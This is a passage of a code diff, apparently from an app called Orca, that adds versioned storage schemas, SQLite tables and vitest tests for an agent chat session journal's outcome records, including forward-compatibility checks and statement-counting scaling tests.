map(state.submissions, isString)], + ['receipts', map(state.receipts, isString)], + ['aliases', map(state.aliases, isString)], + [ + 'itemEchoes', + { + set: (entry) => { + const value = echo.parse(entry) + state.itemEchoes.set(value[0], value[1]) + }, + remove: (key) => { + if (isString(key)) { + state.itemEchoes.delete(key) + } + } + } + ], + ['appliedSettlementIds', set(state.appliedSettlementIds)], + ['stoppedHistoryCarried', map(state.stoppedHistoryCarried, isString)], + ['queuedHandOffPlaces', map(state.queuedHandOffPlaces, isString)], + ['normalizedHandOffs', set(state.normalizedHandOffs)], + ['queue.cards', map(state.queue.cards, isString)] + ]) +} diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-format-1.test.ts b/src/main/native-chat/agent-session-journal/journal-outcome-format-1.test.ts new file mode 100644 index 00000000000..42a60bf90cf --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-format-1.test.ts @@ -0,0 +1,201 @@ +import { readFileSync } from 'node:fs' +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, it } from 'vitest' +import { z } from 'zod' +import { + closeTestJournalHostDatabases, + insertTestJournalRowJson, + openTestJournalHostDatabase, + publishTestJournalEpoch +} from './journal-host-database-test-support' +import type { JournalHostDatabase } from './journal-host-database' +import { restoreJournal } from './journal-open' +import type { JournalReducerState } from './journal-reducer' +import { + admitOutcomeFormat1, + OUTCOME_FORMAT_1_COLLECTIONS, + outcomeFormat1EntryParsers, + outcomeFormat1Fields, + outcomeFormat1Scalars +} from './journal-outcome-format-1' + +// Rows a format-1 build wrote, checked in as data: this build must read them, and every later one. +const fixture = z + .object({ + sessionId: z.string(), + epoch: z.string(), + through: z.number(), + marker: z.string(), + outcomes: z.array( + z.tuple([z.number(), z.string(), z.string(), z.number(), z.string(), z.string(), z.number()]) + ), + expected: z.record(z.string(), z.unknown()) + }) + .parse( + JSON.parse( + readFileSync(new URL('./__fixtures__/journal-outcome-format-1.json', import.meta.url), 'utf8') + ) + ) +const { sessionId, epoch } = fixture +const GENERATION = 7 + +let root: string +let database: JournalHostDatabase +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-outcome-format-1-')) + database = openTestJournalHostDatabase(root) + database.transaction((db) => { + publishTestJournalEpoch(db, sessionId, epoch) + insertTestJournalRowJson(db, sessionId, 1, fixture.marker) + db.prepare(`INSERT INTO journal_outcome_generations (generation, session_id, epoch) + VALUES (?, ?, ?)`).run(GENERATION, sessionId, epoch) + db.prepare(`INSERT INTO journal_outcome_epochs + (session_id, epoch, generation, format, through_seq, prefix_seq) VALUES (?, ?, ?, 1, ?, 0)`).run( + sessionId, + epoch, + GENERATION, + fixture.through + ) + const insert = db.prepare(`INSERT INTO journal_outcomes + (generation, seq, field, entry_key, format, ordinal, value_json, deleted) + VALUES (?, ?, ?, ?, ?, ?, ?, ?)`) + for (const outcome of fixture.outcomes) { + insert.run(GENERATION, ...outcome) + } + }) +}) +afterEach(async () => { + await closeTestJournalHostDatabases() + await rm(root, { recursive: true, force: true }) +}) + +function plain(state: JournalReducerState): unknown { + const fields: Record = { ...state } + return JSON.parse( + JSON.stringify({ + ...Object.fromEntries( + Object.entries(fields).map(([field, value]) => [ + field, + value instanceof Map || value instanceof Set ? [...value] : value + ]) + ), + derivedTurnScope: state.derivedTurnScope.snapshot(), + queue: { revision: state.queue.revision, cards: [...state.queue.cards] } + }) + ) +} + +function restored(): JournalReducerState { + const loaded = restoreJournal(database.db, sessionId) + expect(loaded).toMatchObject({ newer: null, damage: null }) + if (!loaded) { + throw new Error('missing fixture chat') + } + return loaded.state +} + +it('reads the checked-in format-1 outcomes into the same chat, every field and scalar included', () => { + // Every field and scalar has records here; a field or scalar added later adds its own records. + expect(OUTCOME_FORMAT_1_COLLECTIONS).toEqual([ + 'items', + 'itemFences', + 'itemExecutionOwners', + 'providerActivityAt', + 'tombstones', + 'removedTurnIds', + 'submissions', + 'receipts', + 'aliases', + 'itemEchoes', + 'appliedSettlementIds', + 'stoppedHistoryCarried', + 'queuedHandOffPlaces', + 'normalizedHandOffs', + 'queue.cards' + ]) + const scalars = Object.keys(outcomeFormat1Scalars.shape) + expect(scalars).toEqual([ + 'sessionId', + 'epoch', + 'lastSequence', + 'lastActivityAt', + 'oldestSequence', + 'highestFence', + 'derivedTurnScope', + 'latestAcceptedTurnSequence', + 'queuePauseMarks', + 'historyOrigin', + 'queue' + ]) + const stored = fixture.outcomes + expect(new Set(stored.map(([, field]) => field))).toEqual( + new Set(['$', ...OUTCOME_FORMAT_1_COLLECTIONS]) + ) + // The sequence is never stored: it is the epoch's coverage. + expect( + new Set(stored.filter(([, field]) => field === '$').map(([, , key]) => JSON.parse(key))) + ).toEqual(new Set(scalars.filter((scalar) => scalar !== 'lastSequence'))) + expect(stored.some(([, , , , , , deleted]) => deleted === 1)).toBe(true) + + const state = restored() + expect(plain(state)).toEqual(fixture.expected) + // An echo declared undefined stays present without a value. + const echoes = [...state.itemEchoes] + expect(echoes).toHaveLength(1) + expect(echoes[0]?.[1]).toBeUndefined() +}) + +function insertOutcome(field: string, key: string, json: string, format = 1): void { + database.db + .prepare(`INSERT INTO journal_outcomes + (generation, seq, field, entry_key, format, ordinal, value_json, deleted) + VALUES (?, ?, ?, ?, ?, 's0000000000000021:0000000000000099', ?, 0)`) + .run(GENERATION, fixture.through, field, key, format, json) +} + +const newer = { newer: { sequence: 1 }, damage: null } + +it('refuses a field format 1 does not define as written by a newer Orca', () => { + insertOutcome('futureField', '"k"', '["k",1]') + expect(restoreJournal(database.db, sessionId)).toMatchObject(newer) +}) + +it('refuses a record of a newer format even when the epoch summary was not raised', () => { + insertOutcome('receipts', '"client-9"', '["client-9",{}]', 2) + expect(restoreJournal(database.db, sessionId)).toMatchObject(newer) +}) + +// Every key format 1 declares, at every depth, checked in as data: each must keep admitting and +// decoding as stored. Adding an optional key adds to this corpus; nothing here is edited in place. +const values = z + .array(z.tuple([z.enum(['items', 'submissions', 'queue.cards']), z.string(), z.unknown()])) + .parse( + JSON.parse( + readFileSync( + new URL('./__fixtures__/journal-outcome-format-1-values.json', import.meta.url), + 'utf8' + ) + ) + ) + +it('admits and decodes every declared shape as stored, and refuses one key more as newer', () => { + for (const [field, key, value] of values) { + const json = JSON.stringify(value) + expect(admitOutcomeFormat1({ field, key, json, deleted: false })).toEqual({ + entryKey: JSON.parse(key), + kept: value + }) + const decoded = + field === 'items' + ? outcomeFormat1Fields.items.element.parse(value) + : outcomeFormat1EntryParsers[field].parse(value) + expect(decoded).toEqual(value) + } + const [, key, item] = values[0] ?? [] + const newer = JSON.stringify(item).replace('"orcaStop":{', '"orcaStop":{"later":1,') + expect(admitOutcomeFormat1({ field: 'items', key: key ?? '', json: newer, deleted: false })).toBe( + 'unknown' + ) +}) diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-format-1.ts b/src/main/native-chat/agent-session-journal/journal-outcome-format-1.ts new file mode 100644 index 00000000000..b748cde210c --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-format-1.ts @@ -0,0 +1,273 @@ +import { z } from 'zod' +import { AgentJournalTurnScopeSchema } from '../../../shared/agent-session-journal-schemas' +import { AgentSessionExecutionOptionsSchema } from '../../../shared/agent-session-execution-options' +import type { AgentJournalRenderItem } from '../../../shared/agent-session-journal-types' +import type { JournalReducerState } from './journal-reducer' +import type { JournalHistoryOrigin } from './journal-history-origin' +import type { JournalStopEvent } from './journal-row-schema' +import { + storedFailureFact, + storedItem, + storedMessageBody, + storedProviderHandle, + storedSubmission +} from './journal-storage-schema' +import { + storageVerdict, + strictStorage, + type StorageDeclaresAll, + type UndeclaredStorageKeys +} from './journal-storage-strict' + +// Outcome format 1. A record keeps this meaning whatever the reducer becomes, and a build refuses a +// record holding a key it does not declare. So an added optional key needs no new format; a changed +// meaning, a removed or renamed key, a loosened type or a changed record key does, with its own +// records and decoder beside these. Its fields copy reducer bookkeeping, so changing what one of +// those means is a format change too. The golden fixture must keep decoding. +export const JOURNAL_OUTCOME_FORMAT_1 = 1 + +const number = z.number().finite() +const cursor = z.object({ epoch: z.string(), sequence: number }) +const place = z.object({ + sequence: number, + observedAt: number, + turnScope: AgentJournalTurnScopeSchema.optional() +}) +const pauseMarks = z.object({ + cleared: z + .object({ + sequence: number, + operationId: z.string(), + messageIds: z.array(z.string()), + lifted: z.literal(true).optional() + }) + .optional(), + latestStop: z + .object({ + sequence: number, + event: z.object({ + reason: z.string(), + at: number, + turnId: z.string().optional(), + caller: z.string().optional() + }) + }) + .nullable(), + resumedSequence: number, + reopenedSequence: number +}) +const card = z.object({ + messageId: z.string(), + position: number, + body: storedMessageBody, + fingerprint: z.string(), + state: z.enum(['waiting', 'dispatched', 'returned', 'withdrawn']), + holdReason: z.string().nullable(), + returnedReason: z.string().nullable(), + returnedRejection: storedFailureFact.nullable(), + consumedAs: z.string().nullable(), + queuedAt: cursor.nullable(), + options: AgentSessionExecutionOptionsSchema.optional() +}) +const receipt = z.object({ + clientMessageId: z.string(), + providerItemId: z.string(), + cursor, + acceptedAt: number +}) +const entry = (value: V) => z.tuple([z.string(), value]) +// Set members are stored as [value, value], as a Set's entries() yields them. +const member = (value: z.ZodString) => + z.tuple([value, value]).refine(([key, stored]) => key === stored) + +/** What format 1 stores, as declared; reads admit values only through their strict forms. */ +export const outcomeFormat1Stored = { + items: storedItem, + itemFences: entry(number), + itemExecutionOwners: entry(number), + providerActivityAt: z.tuple([number, number]), + tombstones: entry(number), + removedTurnIds: member(z.string()), + submissions: entry(storedSubmission), + receipts: entry(receipt), + aliases: entry(z.string()), + itemEchoes: z.union([z.tuple([z.string()]), z.tuple([z.string(), z.unknown()])]), + appliedSettlementIds: member(z.string()), + stoppedHistoryCarried: entry(z.array(z.string())), + queuedHandOffPlaces: entry(place), + normalizedHandOffs: member(z.string()), + 'queue.cards': entry(card) +} +export const outcomeFormat1StoredScalars = z.object({ + sessionId: z.string(), + epoch: z.string(), + lastSequence: z.number().int().nonnegative(), + lastActivityAt: number, + oldestSequence: number, + highestFence: number, + derivedTurnScope: z.string().nullable(), + latestAcceptedTurnSequence: number, + queuePauseMarks: pauseMarks, + historyOrigin: z.object({ providerHandle: storedProviderHandle, raw: z.unknown() }).nullable(), + queue: z.object({ revision: number }) +}) + +/** Keyed collections, in the order the golden fixture pins. */ +export const OUTCOME_FORMAT_1_COLLECTIONS = [ + 'items', + 'itemFences', + 'itemExecutionOwners', + 'providerActivityAt', + 'tombstones', + 'removedTurnIds', + 'submissions', + 'receipts', + 'aliases', + 'itemEchoes', + 'appliedSettlementIds', + 'stoppedHistoryCarried', + 'queuedHandOffPlaces', + 'normalizedHandOffs', + 'queue.cards' +] as const satisfies readonly (keyof typeof outcomeFormat1Stored)[] + +function checked(schema: z.ZodType): z.ZodType { + // SAFETY: the strict schema admits only keys the type declares (checked at the end of this file); + // decoding keeps the stored value as it is. + const strict = strictStorage(schema) + return z.custom((value) => strict.safeParse(value).success) +} + +type State = JournalReducerState +type Stored = F extends Map ? [K, V] : F extends Set ? [T, T] : never +type Cards = State['queue']['cards'] +const s = outcomeFormat1Stored +const scalar = outcomeFormat1StoredScalars.shape + +/** Typed views of the stored schemas for decoding admitted records into reducer state. */ +export const outcomeFormat1EntryParsers = { + itemFences: checked>(s.itemFences), + itemExecutionOwners: checked>(s.itemExecutionOwners), + providerActivityAt: checked>(s.providerActivityAt), + tombstones: checked>(s.tombstones), + removedTurnIds: checked>(s.removedTurnIds), + submissions: checked>(s.submissions), + receipts: checked>(s.receipts), + aliases: checked>(s.aliases), + itemEchoes: checked<[string] | [string, unknown]>(s.itemEchoes), + appliedSettlementIds: checked>(s.appliedSettlementIds), + stoppedHistoryCarried: checked>(s.stoppedHistoryCarried), + queuedHandOffPlaces: checked>(s.queuedHandOffPlaces), + normalizedHandOffs: checked>(s.normalizedHandOffs), + 'queue.cards': checked>(s['queue.cards']) +} +const p = outcomeFormat1EntryParsers +export const outcomeFormat1Fields = { + ...outcomeFormat1StoredScalars.shape, + items: z.array(checked(s.items)), + itemFences: z.array(p.itemFences), + itemExecutionOwners: z.array(p.itemExecutionOwners), + providerActivityAt: z.array(p.providerActivityAt), + tombstones: z.array(p.tombstones), + removedTurnIds: z.array(p.removedTurnIds), + submissions: z.array(p.submissions), + receipts: z.array(p.receipts), + aliases: z.array(p.aliases), + itemEchoes: z.array(p.itemEchoes), + appliedSettlementIds: z.array(p.appliedSettlementIds), + queuePauseMarks: checked(scalar.queuePauseMarks), + stoppedHistoryCarried: z.array(p.stoppedHistoryCarried), + queuedHandOffPlaces: z.array(p.queuedHandOffPlaces), + normalizedHandOffs: z.array(p.normalizedHandOffs), + queue: z.object({ revision: number, cards: z.array(p['queue.cards']) }), + historyOrigin: checked(scalar.historyOrigin) +} +export const outcomeFormat1Scalars = outcomeFormat1StoredScalars.extend({ + queuePauseMarks: outcomeFormat1Fields.queuePauseMarks, + historyOrigin: outcomeFormat1Fields.historyOrigin +}) + +/** The scalars as a whole, strict: a chat with no input prefix holds every one. */ +export const outcomeFormat1StrictScalars = strictStorage(outcomeFormat1StoredScalars) +const strictly = (schemas: Record) => + new Map(Object.entries(schemas).map(([field, schema]) => [field, strictStorage(schema)])) +const collections = strictly(outcomeFormat1Stored) +const scalars = strictly(outcomeFormat1StoredScalars.shape) + +/** A record's key and value as admission parsed and checked them; decoding takes them as they are. */ +export type AdmittedOutcome = { readonly entryKey: unknown; readonly kept: unknown } + +/** Admission: a field, scalar, key or union tag format 1 does not declare, at any depth, is a newer + * writer's ('unknown'); content failing a declared type is damage and throws. An admitted value is + * decoded as stored, never re-encoded through the schema, and never parsed or walked again. */ +export function admitOutcomeFormat1(value: { + field: string + key: string + json: string + deleted: boolean +}): 'unknown' | AdmittedOutcome { + const key: unknown = JSON.parse(value.key) + const schema = + value.field === '$' + ? typeof key === 'string' + ? scalars.get(key) + : undefined + : collections.get(value.field) + if (!schema) { + return 'unknown' + } + if (value.field === '$' ? value.deleted : typeof key !== 'string' && typeof key !== 'number') { + throw new Error('invalid journal outcome key') + } + if (value.deleted) { + return value.json === 'null' ? { entryKey: key, kept: null } : 'unknown' + } + const kept: unknown = JSON.parse(value.json) + const verdict = storageVerdict(schema, kept) + if (verdict !== 'stored') { + if (verdict === 'newer') { + return 'unknown' + } + throw new Error('invalid journal outcome value') + } + const storedKey = value.field === '$' ? key : value.field === 'items' ? itemId(kept) : first(kept) + if (storedKey !== key) { + throw new Error('mismatched journal outcome key') + } + return { entryKey: key, kept } +} + +function itemId(value: unknown): unknown { + return typeof value === 'object' && value !== null && 'itemId' in value ? value.itemId : undefined +} + +function first(value: unknown): unknown { + return Array.isArray(value) ? value[0] : undefined +} + +type Collection = (typeof OUTCOME_FORMAT_1_COLLECTIONS)[number] +type StoredIn = F extends 'items' + ? AgentJournalRenderItem + : F extends 'queue.cards' + ? Stored + : F extends keyof State + ? Stored + : never +type Marks = State['queuePauseMarks'] +// Live Stop settlement is never stored (durableQueuePauseMarks). +type StoredMarks = Omit & { + latestStop: { sequence: number; event: JournalStopEvent } | null +} +type Scalars = z.output +export type OutcomeFormat1DeclaresEveryKey = [ + StorageDeclaresAll< + { + [F in Collection]: UndeclaredStorageKeys< + StoredIn, + z.output<(typeof outcomeFormat1Stored)[F]> + > + }[Collection] + >, + StorageDeclaresAll>, + StorageDeclaresAll> +] diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-format.ts b/src/main/native-chat/agent-session-journal/journal-outcome-format.ts new file mode 100644 index 00000000000..cfc7cb54ca6 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-format.ts @@ -0,0 +1,148 @@ +import type Database from '../../sqlite/sync-database' +import { readJournalSessionEpoch } from './journal-row-table' +import { AgentSessionJournalError } from './journal-write-guards' +import { JOURNAL_OUTCOME_FORMAT_1 } from './journal-outcome-format-1' +import { JournalOutcomeDecodeError } from './journal-outcome-codec' + +/** The newest record format this build reads, and the one it writes. Each stored record carries its + * own format; older formats keep their frozen decoders and are never rewritten. */ +export const JOURNAL_OUTCOME_FORMAT = JOURNAL_OUTCOME_FORMAT_1 +/** Builds before outcome records refuse a row of this version wherever it sits in the epoch. + * Under this version, how the input rows before the marker fold into keys and values is frozen: the + * tail's records were written over that reading. A build that reads old rows into different keys or + * values must key the new reading off a new marker version; a prefix key read twice under two + * names, or a key the tail deleted coming back, is never intended behavior. */ +export const JOURNAL_OUTCOME_MARKER_VERSION = 5 +/** `prefix` counts the epoch's frozen input rows; the marker row sits right after them and outcome + * records start at its sequence. `format` is the highest record format the epoch holds. */ +export type JournalOutcomeSource = { + generation: number + through: number + format: number + prefix: number +} + +export function ensureJournalOutcomeTables(db: Database.Database): void { + db.exec(`CREATE TABLE IF NOT EXISTS journal_outcome_generations ( + generation INTEGER PRIMARY KEY AUTOINCREMENT, session_id TEXT NOT NULL, epoch TEXT NOT NULL + ); + CREATE TABLE IF NOT EXISTS journal_outcome_epochs ( + session_id TEXT PRIMARY KEY, epoch TEXT NOT NULL, generation INTEGER NOT NULL, + format INTEGER NOT NULL, through_seq INTEGER NOT NULL, prefix_seq INTEGER NOT NULL + ); + CREATE TABLE IF NOT EXISTS journal_outcomes ( + generation INTEGER NOT NULL, seq INTEGER NOT NULL, field TEXT NOT NULL, + entry_key TEXT NOT NULL, format INTEGER NOT NULL, ordinal TEXT NOT NULL, + value_json TEXT NOT NULL, deleted INTEGER NOT NULL, + PRIMARY KEY (generation, seq, field, entry_key) + ); + CREATE INDEX IF NOT EXISTS journal_outcome_keys ON journal_outcomes + (generation, field, entry_key, seq DESC)`) +} + +/** Every owning mutation calls this inside its transaction, before changing the epoch. Null means + * an input-only epoch, read as main reads it; a format this build does not know refuses as newer. */ +export function journalOutcomeSource( + db: Database.Database, + sessionId: string, + epoch: string +): JournalOutcomeSource | null { + if (readJournalSessionEpoch(db, sessionId) !== epoch) { + throw new AgentSessionJournalError('journal_row_rejected', 'the chat epoch changed') + } + const source = db + .prepare( + `SELECT generation, format, through_seq, prefix_seq FROM journal_outcome_epochs + WHERE session_id = ? AND epoch = ?` + ) + .get(sessionId, epoch) + if (!source) { + return null + } + const { generation, format, through_seq: through, prefix_seq: prefix } = source + if ( + typeof generation !== 'number' || + typeof format !== 'number' || + typeof through !== 'number' || + typeof prefix !== 'number' + ) { + throw new JournalOutcomeDecodeError('invalid journal outcome source') + } + if (format > JOURNAL_OUTCOME_FORMAT) { + throw new AgentSessionJournalError('journal_read_only', 'the chat uses a newer outcome format') + } + // Only the marker follows the prefix: a row after it is no row this build writes. + const [marker, after] = db + .prepare(`SELECT seq, row_json FROM journal_rows WHERE session_id = ? AND epoch = ? AND seq > ? + ORDER BY seq LIMIT 2`) + .all(sessionId, epoch, prefix) + if (after) { + throw new AgentSessionJournalError('journal_read_only', 'the chat holds a newer row') + } + const version = marker?.seq === prefix + 1 ? markerVersion(marker.row_json) : null + if (typeof version === 'number' && version > JOURNAL_OUTCOME_MARKER_VERSION) { + throw new AgentSessionJournalError('journal_read_only', 'the chat uses a newer marker') + } + if (version !== JOURNAL_OUTCOME_MARKER_VERSION) { + throw new JournalOutcomeDecodeError('missing journal outcome marker') + } + return { generation, format, through, prefix } +} + +function markerVersion(json: unknown): unknown { + try { + const parsed: unknown = typeof json === 'string' ? JSON.parse(json) : null + return typeof parsed === 'object' && parsed !== null && 'v' in parsed ? parsed.v : null + } catch { + return null + } +} + +/** Starts an epoch's outcome records after `prefix` input rows, which stay byte for byte. The marker + * is appended, never written over an existing row, in the transaction of the first outcome. */ +export function startJournalOutcomeLog( + db: Database.Database, + sessionId: string, + epoch: string, + prefix: number, + savedAt: number +): JournalOutcomeSource { + const tip = db + .prepare('SELECT MAX(seq) AS seq FROM journal_rows WHERE session_id = ? AND epoch = ?') + .get(sessionId, epoch) + if ((tip?.seq ?? 0) !== prefix) { + throw new Error('journal outcome log would not start at the input tip') + } + const generation = Number( + db + .prepare('INSERT INTO journal_outcome_generations (session_id, epoch) VALUES (?, ?)') + .run(sessionId, epoch).lastInsertRowid + ) + const seq = prefix + 1 + db.prepare( + 'INSERT INTO journal_rows (session_id, epoch, seq, ts, row_json) VALUES (?, ?, ?, ?, ?)' + ).run( + sessionId, + epoch, + seq, + savedAt, + JSON.stringify({ v: JOURNAL_OUTCOME_MARKER_VERSION, kind: 'outcomes', epoch, seq, ts: savedAt }) + ) + db.prepare( + `INSERT INTO journal_outcome_epochs VALUES (?, ?, ?, ?, ?, ?) + ON CONFLICT(session_id) DO UPDATE SET epoch = excluded.epoch, generation = excluded.generation, + format = excluded.format, through_seq = excluded.through_seq, prefix_seq = excluded.prefix_seq` + ).run(sessionId, epoch, generation, JOURNAL_OUTCOME_FORMAT, prefix, prefix) + return { generation, format: JOURNAL_OUTCOME_FORMAT, through: prefix, prefix } +} + +/** Coverage advances with each write; the required format only ever rises. */ +export function advanceJournalOutcomeSource( + db: Database.Database, + sessionId: string, + epoch: string, + through: number +): void { + db.prepare(`UPDATE journal_outcome_epochs SET through_seq = ?, format = MAX(format, ?) + WHERE session_id = ? AND epoch = ?`).run(through, JOURNAL_OUTCOME_FORMAT, sessionId, epoch) +} diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-scaling.test.ts b/src/main/native-chat/agent-session-journal/journal-outcome-scaling.test.ts new file mode 100644 index 00000000000..be60e4ad4c4 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-scaling.test.ts @@ -0,0 +1,800 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, it, vi } from 'vitest' +import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { agentSessionSendBodyFingerprint } from '../../../shared/structured-agent-session-send-mutation' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalMessageItem +} from '../../../shared/agent-session-journal-types' +import type { SqliteStatement } from '../../sqlite/sqlite-statement' +import { + closeTestJournalHostDatabases, + createTrackedJournalOpener, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import type { JournalHostDatabase } from './journal-host-database' +import { readJournalRowsAfterCursor, restoreJournal } from './journal-open' +import { MAX_JOURNAL_LIFECYCLE_BATCH_MUTATIONS, type JournalRow } from './journal-row-schema' +import { journalOutcomeSource } from './journal-outcome-format' +import { JournalOutcomeSweeper, sweepJournalOutcomePage } from './journal-outcome-cleanup' +import { JOURNAL_NEWEST_OUTCOME_SQL } from './journal-outcome-table' +import { readJournalOutcomeGroups } from './journal-read-row' +import { applyJournalRow, type JournalReducerState } from './journal-reducer' +import { isolateJournalTransition } from './journal-reducer-transition' +import { encodeJournalState } from './journal-state-codec' +import type * as RowStorage from './journal-storage-row-schema' +import type * as Strict from './journal-storage-strict' +import type * as OutcomeFormat1 from './journal-outcome-format-1' +import type * as Transition from './journal-reducer-transition' +import { + projectionBase as base, + projectionEpoch as epoch, + projectionEpochRow, + projectionSessionId as sessionId, + projectionWriter, + seedOutcomeRows, + seedProjectionRows +} from './journal-projection-test-support' + +// N/10N contracts: each counts statements (prepare and exec), rows read and rows and bytes +// written, never time, and requires the same work for a chat ten times larger. + +// Admission's own work: strict walks of input rows and of outcome records, counted at the calls, +// and every strict walk at all, counted at each strict schema storage builds. +const admission = vi.hoisted(() => ({ rows: 0, records: 0, walks: 0 })) +vi.mock('./journal-storage-strict', async (original) => { + const actual = await original() + // A schema storage cannot close further comes back as it is, so one instance can recur. + const counted = new WeakSet>() + return { + ...actual, + strictStorage: (schema: Parameters[0]) => { + const strict = actual.strictStorage(schema) + if (counted.has(strict)) { + return strict + } + counted.add(strict) + const walk = strict.safeParse.bind(strict) + Object.defineProperty(strict, 'safeParse', { + value: (...input: Parameters) => { + admission.walks += 1 + return walk(...input) + } + }) + return strict + } + } +}) +vi.mock('./journal-storage-row-schema', async (original) => { + const actual = await original() + return { + ...actual, + journalRowDeclaresMore: (row: unknown) => { + admission.rows += 1 + return actual.journalRowDeclaresMore(row) + } + } +}) +vi.mock('./journal-outcome-format-1', async (original) => { + const actual = await original() + return { + ...actual, + admitOutcomeFormat1: (value: Parameters[0]) => { + admission.records += 1 + return actual.admitOutcomeFormat1(value) + } + } +}) +// Every draft transition a write or a replacement folds through, to count the nodes it reaches. +const transitions = vi.hoisted(() => { + const opened: { tracked: () => number }[] = [] + return opened +}) +vi.mock('./journal-reducer-transition', async (original) => { + const actual = await original() + return { + ...actual, + isolateJournalTransition: (...input: Parameters) => { + const transition = actual.isolateJournalTransition(...input) + transitions.push(transition) + return transition + } + } +}) +const N = 40 +const providerHandle = { kind: 'codex', threadId: 'thread-1' } as const +const providerItemId = agentJournalItemKey({ + provider: 'codex', + threadId: 'thread-1', + turnId: 'turn-1', + ordinal: 1 +}) +const WRITTEN = { + journal_rows: 'row_json', + journal_outcomes: 'value_json' +} as const +const TRANSACTION = /^(BEGIN|COMMIT|ROLLBACK|SAVEPOINT|RELEASE)\b/ + +let root: string +const rigs: ReturnType[] = [] +const journals = createTrackedJournalOpener() +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-outcome-scaling-')) +}) +afterEach(async () => { + for (const rig of rigs.splice(0)) { + rig.queue.markClosed() + await rig.queue.drain() + } + vi.restoreAllMocks() + await journals.closeAll() + await closeTestJournalHostDatabases() + await rm(root, { recursive: true, force: true }) +}) + +const message = (text: string, role: 'user' | 'assistant' = 'user'): AgentJournalMessageItem => ({ + kind: 'message', + role, + blocks: [{ type: 'text', text }] +}) +const send = (seq: number, clientMessageId: string, handoverRecorded?: true): JournalRow => ({ + ...base(seq), + kind: 'submission', + clientMessageId, + body: message(clientMessageId), + providerHandle, + ...(handoverRecorded ? { handoverRecorded } : {}), + payloadFingerprint: agentSessionSendBodyFingerprint(sessionId, message(clientMessageId)) +}) +const revision = + (itemId: string, body: Extract['body'], value: number) => + (seq: number, ts: number): JournalRow => ({ + ...base(seq), + ts, + kind: 'item', + itemId, + revision: value, + body + }) +const plan = (text: string) => ({ + kind: 'status' as const, + text, + providerFrame: { + provider: 'codex', + kind: 'notification:turn/plan/updated', + payload: { head: text, byteLength: text.length, digest: 'd'.repeat(64), truncated: false } + } +}) + +/** `size` accepted sends with their statuses and queue cards, then one handed-over send. */ +function historyOf(size: number, everyCard = false): JournalRow[] { + const rows: JournalRow[] = [projectionEpochRow] + for (let index = 0; index < size; index++) { + rows.push(send(rows.length + 1, `earlier-${index}`)) + rows.push({ + ...base(rows.length + 1), + kind: 'dispatch', + clientMessageId: `earlier-${index}`, + state: 'accepted', + providerItemId: `provider-${index}`, + reason: null + }) + rows.push({ + ...base(rows.length + 1), + kind: 'item', + itemId: `status-${index}`, + revision: 1, + body: { kind: 'status', text: `Status ${index}` } + }) + rows.push({ + ...base(rows.length + 1), + kind: 'queue', + messageId: `waiting-${index}`, + change: { + op: 'queued', + body: message(`waiting-${index}`), + position: rows.length + 1, + queuedAt: { epoch, sequence: rows.length } + } + }) + const outcomes = everyCard + ? ([ + ['dispatched', { attempt: `attempt-${index}` }], + ['returned', { returned: { reason: 'refused' } }] + ] as const) + : [] + for (const [state, outcome] of outcomes) { + rows.push({ + ...base(rows.length + 1), + kind: 'queue', + messageId: `${state}-${index}`, + change: { + op: 'queued', + body: message(`${state}-${index}`), + position: rows.length + 1, + queuedAt: { epoch, sequence: rows.length }, + ...outcome + } + }) + } + } + rows.push(send(rows.length + 1, 'send', true)) + return rows +} + +function databaseFor(label: string): JournalHostDatabase { + return openTestJournalHostDatabase(join(root, label)) +} + +function outcomeChat(size: number, label: string) { + const database = databaseFor(label) + const rig = projectionWriter(database, seedOutcomeRows(database, historyOf(size))) + rigs.push(rig) + return { database, rig } +} + +/** Counts every statement, the rows each table returns, and the rows and bytes each table takes. */ +function watch(database: JournalHostDatabase) { + const triggers = Object.entries(WRITTEN).flatMap(([table, column]) => + ['INSERT', 'UPDATE', 'DELETE'].map((op) => { + const bytes = op === 'DELETE' ? '0' : `length(CAST(NEW.${column} AS BLOB))` + return `CREATE TEMP TRIGGER IF NOT EXISTS count_${table}_${op} AFTER ${op} ON ${table} + BEGIN INSERT INTO scaling_writes VALUES ('${table} ${op}', ${bytes}); END;` + }) + ) + database.db.exec( + `CREATE TEMP TABLE IF NOT EXISTS scaling_writes (target TEXT, bytes INTEGER); ${triggers.join('\n')}` + ) + database.db.exec('DELETE FROM scaling_writes') + const statements: string[] = [] + const read = new Map() + const prepare = database.db.prepare.bind(database.db) + const exec = database.db.exec.bind(database.db) + vi.spyOn(database.db, 'exec').mockImplementation((sql: string) => { + if (!TRANSACTION.test(sql.trim())) { + statements.push(sql) + } + exec(sql) + }) + vi.spyOn(database.db, 'prepare').mockImplementation((sql: string) => { + statements.push(sql) + const statement = prepare(sql) + const table = /\bFROM\s+(journal_\w+)/.exec(sql)?.[1] ?? 'other' + const count = (rows: number): void => { + read.set(table, (read.get(table) ?? 0) + rows) + } + const counted: SqliteStatement = { + all: (...parameters) => { + const rows = statement.all(...parameters) + count(rows.length) + return rows + }, + get: (...parameters) => { + const row = statement.get(...parameters) + count(row ? 1 : 0) + return row + }, + run: (...parameters) => statement.run(...parameters), + iterate: function* (...parameters) { + for (const row of statement.iterate(...parameters)) { + count(1) + yield row + } + }, + setReadBigInts: (enabled) => statement.setReadBigInts(enabled) + } + return counted + }) + return { + rowsRead: (table: string) => read.get(table) ?? 0, + take: () => { + const writes = prepare( + 'SELECT target, COUNT(*) AS n, SUM(bytes) AS bytes FROM scaling_writes GROUP BY target ORDER BY target' + ) + .all() + .map((row) => [String(row.target), Number(row.n), Number(row.bytes)] as const) + exec('DELETE FROM 